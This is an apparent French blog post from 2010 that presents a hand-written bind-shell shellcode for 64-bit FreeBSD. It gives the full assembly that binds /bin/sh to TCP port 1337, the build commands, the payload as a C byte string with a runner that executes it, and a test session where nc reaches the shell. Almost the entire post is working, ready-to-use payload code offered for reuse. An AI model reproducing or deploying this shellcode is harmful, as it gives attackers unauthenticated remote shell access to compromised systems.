29/08/2010

Bind sh on freebsd 64 bits

J'ai souhaité écrire un shellcode qui bind un shell sur le port 1337, le tout sur FreeBSD architecture 64 Bits : Qui sait ça servira peut être à quelqu'un. Pour ma part si je l'ai écrit c'etait pour le fun et qu'il était introuvable à travers le net (tout du moins sur les sites Exploit-db ou encore Shell-Storm).

Avant de se lancer dans le code récupérons les informations nécessaire à son écriture :

% cat /usr/src/sys/kern/syscalls.master | grep 'socket\|bind\|listen\|accept\|dup2\|execve'
30      AUE_ACCEPT      STD     { int accept(int s, \
59      AUE_EXECVE      STD     { int execve(char *fname, char **argv, \
90      AUE_DUP2        STD     { int dup2(u_int from, u_int to); }
97      AUE_SOCKET      STD     { int socket(int domain, int type, \
104     AUE_BIND        STD     { int bind(int s, caddr_t name, \
106     AUE_LISTEN      STD     { int listen(int s, int backlog); }

Code :

# socket(AF_INET, SOCK_STREAM,IPPROTO_TCP)
push $0x61
pop %rax
push $0x6	
pop %rdx
push $0x2
pop %rdi
push $0x1
pop %rsi
syscall

# bind(socket, server, sizeof(server))
mov %rax,%rdi
push $0x68
pop %rax
push $0x39050102
mov %rsp,%rsi
push $0x10
pop %rdx
syscall

# listen(socket, 1)
push $0x1
pop %rsi
push $0x6A
pop %rax
syscall

# accept(socket, 0, 0)
xor %rsi, %rsi
xor %rdx, %rdx
push $0x1e
pop %rax
syscall

# dup2 stdin
# dup2 stdout
# dup2 stderr
mov %rax,%rdi
push $0x5a
pop %rax
push $0x2
pop %rsi
syscall
dec %rsi
push $0x5a
pop %rax
syscall
dec %rsi
push $0x5a
pop %rax
syscall

# execve("/bin/sh", ["/bin/sh"], NULL
push $0x3b 	    
pop %rax
cltd
mov $0x68732f2f6e69622f,%rbx
push %rdx
push %rbx
push %rsp	
pop %rdi
push %rdx
push %rdi
push %rsp	
pop %rsi
syscall

Pour le compiler :

as -o bind_sh.o bind_sh.s
ld -o bind_sh bind_sh.o

Le shellcode en lui même :

int
main()
{
  const char *shcode =  "\x6a\x61\x58\x6a"
    "\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f"
    "\x05\x48\x89\xc7\x6a\x68\x58\x68\x02"
    "\x01\x05\x39\x48\x89\xe6\x6a\x10\x5a"
    "\x0f\x05\x6a\x01\x5e\x6a\x6a\x58\x0f"
    "\x05\x48\x31\xf6\x48\x31\xd2\x6a\x1e"
    "\x58\x0f\x05\x48\x89\xc7\x6a\x5a\x58"
    "\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a"
    "\x5a\x58\x0f\x05\x48\xff\xce\x6a\x5a"
    "\x58\x0f\x05\x6a\x3b\x58\x99\x48\xbb"
    "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52"
    "\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";

  printf("Size = %d\n",strlen(shcode));
  (*(void (*)()) shcode)();
}

Test :

% gcc bind_sh.c -o bind_sh
% ./bind_sh
Size = 103

Dans un autre terminal :

% sockstat -4 | grep bind_sh
w4kfu    bind_sh    12151 3  tcp4   *:1337                *:*
% nc localhost 1337
ls
bind_sh
bind_sh.o
bind_sh.s
bind_sh.c